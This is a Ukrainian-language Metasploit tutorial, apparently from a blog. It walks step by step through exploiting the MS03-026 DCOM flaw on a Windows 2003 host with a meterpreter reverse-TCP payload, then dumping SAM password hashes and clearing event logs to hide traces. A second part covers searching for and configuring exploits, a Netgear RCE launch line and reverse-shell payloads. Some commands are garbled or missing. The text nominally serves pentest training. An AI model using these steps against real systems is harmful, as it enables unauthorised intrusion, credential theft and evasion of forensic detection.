Тепер, коли ми маємо перед очима список rpc-експлоїтів, нам потрібна повніша інформація по кожному з них, перш ніж застосуємо його на практиці. Для отримання детального опису конкретного сплоїту, скористаємося командою info exploit/windows/dcerpc/ms03_026_dcom. Що зрештою ми отримаємо? Опис можливих цілей; вимоги експлоїту; детальний опис самої вразливості, використовуваної цим есплоїтом; а також посилання, де ми можемо знайти докладнішу інформацію.

Крок 5:

У загальному випадку запуск команди use запускає оточення зазначеного експлоїту. У нашому випадку ми будемо використовувати команду use exploit/windows/dcerpc/ms03_026_dcom для запуску цього сплоїту.

Як видно на скріншоті Figure4, після запуску експлоїту командою exploit/windows/dcerpc/ms03_026_dcom підказка командного рядка змінилася з msf > msf exploit(ms03_026_dcom) > . Це означає, що ми перейшли до тимчасового оточення цього експлоїту.

Крок 6:

Тепер нам необхідно відредагувати конфігураційний файл сплоїта, як вимагає поточний сценарій. Команда show options покаже нам різні параметри, які потрібні для запущеного експлоїту. У нашому випадку опції RPORT вже встановлено значення 135 . Нам залишилося тільки встановити значення параметра RHOST, що виконується командою set RHOST .

Вводимо в командному рядку set RHOST 192.168.42.129 і бачимо результат - IP-адресу віддаленого хоста виставлено саме на 192.168.42.129., як на скріншоті.

Крок 7:

Остання, що нам залишилося зробити, перш ніж запустити експлоїт - встановити платіоload для нього. Всі доступні варіанти payload"ів можна побачити за допомогою команди show payloads.

Як видно на скріншоті, команда show payloads покаже нам всі payload"и, які сумісні з вибраним нами сплоітом. Для нашого випадку ми використовуємо запасний tcp meterpreter, задавши його командою set PAYLOAD windows/meterpreter/reserve_tcp, що запустить командну оболонку якщо до нього буде успішно отримано доступ, зараз нам потрібно знову запустити команду show options для того, щоб переконатися, що всі обов'язкові для заповнення поля мають відповідні значення, тільки в цьому випадку експлоїт успішно запуститься.

Зверніть увагу, що параметр LHOST для payload"а не встановлений. Так що нам потрібно встановити локальну IP-адресу (наприклад, 192.168.42.128) командою set LHOST 192.168.42.128 .

Крок 8:

Тепер, коли все готове та експлоїт відконфігуровано належним чином, настав час запустити його.

Ми можемо скористатися командою check для того, щоб переконатися, що наша машина-жертва доступна для виконання на ній експлоїту. Ця опція є не для всіх сплоїтів. Наприклад, на скріншоті добре видно, що у нашому випадку це саме так.

Але нею варто скористатися у будь-якому разі. Це хороша допомога з боку системи в тому плані, що дозволяє переконатися, що віддалена машина ще не пропатчена експлоїтом, який ви збираєтеся запустити. Іншими словами – щоб ви не запустили експлоїт на віддаленій машині повторно.

У нашому випадку, як видно на скріншоті, вибрані нами експлоїти не мають підтримки опції check .

Команда exploit запускає вибраний сплоїт, який виконує всі необхідні дії для того, щоб на віддаленій машині зміг виконатися payload.

На скріншоті видно, що експлоїт успішно виконався на віддаленій машині з IP-адресою 192.168.42.129, використовуючи вразливість порту 135. Факт успішного виконання експлоїту позначається в командному рядку зміною запрошення на meterpreter > .

Крок 9:

Тепер, коли додаткове з'єднання між жертвою та нашою машиною встановлено, нам необхідно отримати контроль над сервером. Ми можемо скористатися help для отримання списку всіх доступних команд, які ми можемо виконати на віддаленому сервері для виконання відповідних дій.

Нижче показані результати деяких команд meterpreter:

  • ipconfig – показує конфігураційні дані всіх TCP/IP-з'єднань, запущених на віддаленій машині;
  • getuid – відображає ім'я сервера в консолі;
  • hashdump – створює dump бази даних SAM;
  • clearev - затирає всі сліди вашого перебування на дистанційній машині, які ви могли б залишити там.

Таким чином, ми успішно використовували фреймворк для отримання доступу до віддаленого сервера із запущеним на ньому Windows 2003 Server. Ми надали собі можливість виконувати команди в командній оболонці, що дає нам право повністю контролювати віддалену машину і запускати будь-які завдання на ній, які нам знадобляться.

Потенційні можливості використання фреймворку Metasploit:

  • може використовуватися при пентестингу для створення звітів спільно з іншими системами автоматичного виявлення вразливостей. За допомогою цього фреймворку можна встановити, чи є уразливості реально небезпечними і чи можна ними скористатися для проникнення в систему.
  • може використовуватися для тестування нових експлоїтів, які з'являються буквально щодня. Таку перевірку можна робити на локальному сервері, спеціально призначеному для цих цілей. За допомогою цього фреймворку ви легко можете перевірити, чи ефективний новий експлоїт чи ні.
  • також є чудовим інструментом у ваших системах пентестингу для перевірки, чи належним чином налаштовані IDS у разі виникнення атак.

Висновок

Ця стаття є поверхневим оглядом використання фреймворку . Тут показано, як виконати загальний огляд вашої системи щодо вразливостей. Навіть початковий досвід роботи з , набутий у цій статті, допоможе вам зрозуміти принципи роботи експлоїтів. Що може бути хорошим підмогою для написання своїх власних експлоїтів . А це, у свою чергу, допоможе вам виконувати завдання пентестингу на більш високому та якісному рівні.

Що таке метасплойт?

Метасплойт(а правильно говорити про метасплойте як про проект) – це саме проект у галузі комп'ютерної безпеки, спрямований на інформування користувачів (насамперед власників, розробників та адміністраторів) мереж та ресурсів про можливі вразливості в системі безпеки та допомагає у тестуванні систем та мереж з метою закриття надалі дірок у їхній безпеці та захисту від . Для розробки метасплойтів існує спеціальне середовище під назвою Metasploit Framework. Остання вилилася в своєрідний підпроект, що є програмним середовищем або платформою для розробки та використання експлойтів на віддаленій машині. Питання використання платформи та застосування проекту загалом досить слизьке, оскільки середовище, покликане до проведення дослідницької діяльності системних адміністраторів мережі в галузі захищеності мереж з успіхом використовується хакерами для розробки та впровадження нових експлойтів для отримання неавторизованого доступу до ресурсів.

Metasploit Frameworkз моменту винаходу в 2003 зазнала деяких змін, і до нас дійшла з вільно розповсюджуваною ліцензією у безкоштовному та комерційному варіантах. В обидва варіанти включено багато готових експлойтів, які допоможуть впоратися з виявленням відомих вразливостей. Відмінно запускається на Unix і Windows системах, має кілька інтерфейсів на вибір користувача, зокрема у вигляді вікна браузера.

Як користуватись Metasploit Framework, або що вміє метасплойт? Основні кроки використання середовища.

Перед роботою в середовищі, звичайно, необхідно зібрати максимум інформації про комп'ютер, так що необхідно користуватися повним набором мережевих і , так що над вибором експлойту та пейлоуда доведеться попрацювати.

Де завантажити Metasploit Framework?

Та ось тут:

https://www.metasploit.com/download/

Але не поспішайте. Також платформа входить до складу деяких вільно розповсюджуваних збірок систем на безкоштовну та вільну ліцензію. З такою ми і знайомитимемося на сторінці блогу в розділі Лінукс. До складу бере участь у багатьох експериментах це середовище входить абсолютно безкоштовно.

Знайомство з поняттям Шелл.

Залежно від типу експлойта, після того як екплойт втілитись в життя, ми матимемо справу або з віддаленим шеллом ( Remote shell) та метр-шеллом ( Meterpreter shell).

Віддалений шелл– комп'ютерна програма з командного рядка (терміналу), яка може виконувати команди на віддаленому комп'ютері, ніби ви знаходилися за його клавіатурою. Це своєрідний віддалений Робочий стіл (так він називається Windows). Стандартний шелл застосовується у випадках, коли хакер має намір виконувати на комп'ютері жертви стандартні команди. Однак, якщо йдеться про комплексні маніпуляції в поточній сесії та виконання команд з додатковими прапорами, буде використаний шелл Метерпретер.

З метр-шелломтрохи цікавіше. Meterpreter shellпропонує вже цілу купу готових програмних рішень. Серед них утиліти та скрипти для збору інформації по віддаленому комп'ютеру, інструменти контролю над пристроями типу мікрофон або вебкамера тощо. І з розвитком технік злому інтерес до готових рішень, які тільки розростаються та вдосконалюються, все більше. А тепер про описані вище кроки трохи докладніше.

Пошук та конфігурація експлойту

Маю на увазі, що ви вже в Калі. Запускаємо Метасплойт та даємо команду на відображення відомих експлойтів. Це команда

Термінал поверне інформацію щодо експлойтів в алфавітному порядку. Це не завжди зручно, тому пошук можна уточнити прапорами на пошук по:

  • словнику Загальних вразливостей та незакритих дірок у безпеці ( CVE ID). Можна відразу вказати бажаний рік:
search cve:2017

  • бюлетеня безпеки Майкрософт
search MS
  • прямо за бажаною програмою або виробником ПЗ або пристрою
search Netgear

  • і, вичепивши цікавеньке, отримати з цього приводу всю інформацію про вразливість, додавши перед вразливістю info(Посилання на ще більш докладну інфу з цього питання будуть у тому ж терміналі). Погляньте:

Там все є і чекає вашого аналізу та застосування. Але перед тим, як перейти в конфігурації експлойту, візьмемо вразливість до обігу командою use

Або, повернувшись до одного з попередніх вікон, виявити до обладнання відповідний експлойт і його застосувати:

і одразу перевіримо, як його застосовувати і до чого прив'язати, використовуючи знайомий нам прапор infoу контексті експлойту:


Конфігурація експлойту: встановлення опцій

Направити метасплойт у потрібне русло нам допоможе команда set . Команда в msfнабуде вигляду

Set ім'я_змінної її_значення

Але, щоб дізнатися, які змінні для експлойту існують, можна використати команду show options

Розділ Module options, знайомий нам вікном команди з прапором info, показує, яку конфігурацію можна застосувати щодо вибору мети. Так, модуль відразу вказує на те, що есплойт застосовується проти вразливості із застосуванням цих обов'язкових опцій (готові до роботи виділені прапором). yes, ті, що на noвами ще не налаштовані). Тобто для здійснення експлойту пентестер зазначив:

  • адреса віддаленої системи ( RHOST)
  • віддалений порт 8080 ( RPORT)
  • як індетифікатор мети ( TARGETURI) – шлях до застосування в системі або шлях до обладнання жертви (наприклад, якщо атакується роутер, тут вказується повний шлях у вигляді адреси до вразливого файлу)

Завершимо картинку загалом. Запуск експлойту в нашому випадку набуде приблизно такого вигляду:

Exploit(netgear_nms_rce) use msf exploit(netgear_nms_rce) set RHOST 10.10.10.10 set RPORT 8080 set TARGETURI exploit -j

На вус команди, описані вище, мотати не потрібно. Детальніше інформація буде дана пізніше.

Вибір та формування пейлоуду

Навіщо нам доступ до чужого комп'ютера, якщо ми там нічого не наробимо? І для цієї мети знадобиться пейлоуд. Стосовно теми метасплойта, пейлоуд - саме та частина шкідливого програмного забезпечення, спрямованого на зміну функціоналу системи. У той час, як інша частина програми-шкідливості може бути спрямована на додаткові функції (наприклад, копіювання та тиражування самого себе; йдеться про комп'ютерний вірус). Як розумієте, пейлуд можна вичленювати в окремий код і використовувати у різних варіантах.

Працюючи в середовищі Metasploit, можна подивитися на готові варіанти пейлоудів стосовно вибраних експлойтів. Це робиться командою

Show payloads

у вибраному вами варіанті експлойту. Ще варіант – у вибраному експлойті пишемо

Set payload

і закріплюємо, двічі натиснувши клавішу Tаb. Metasploit запитає, чи не хочете ви подивитися всіх… Пейлоуд. І зазвичай термінал Metasploit-а виводить інформацію з пейлоудів у форматі Operating System/Shell TypeОпераційна система/Тип шеллу. Наприклад

Set payload/windows/shell_reverse_tcp

Залишається вибрати потрібну ОСь і тип пейлоуда, що сподобався. Найпопулярніші типи пейлоуд це і є шелли, про які ми говорили вище (віддалений йшов і метерпретер йшов або метер-Шел).

Вибір пейлоудів із кешу середовища дуже широкий. Так само як і вибір засобів, за допомогою яких система жертви "зливатиме" хакеру потрібну інформацію. Типові шелли з основою reverse_tcpз команди вище для того і існують: виконуючись на віддаленій системі, вони повідомляють зловмиснику дані, часто не викликаючи підозри у системного фаєрволу.

Поки все. Успіхів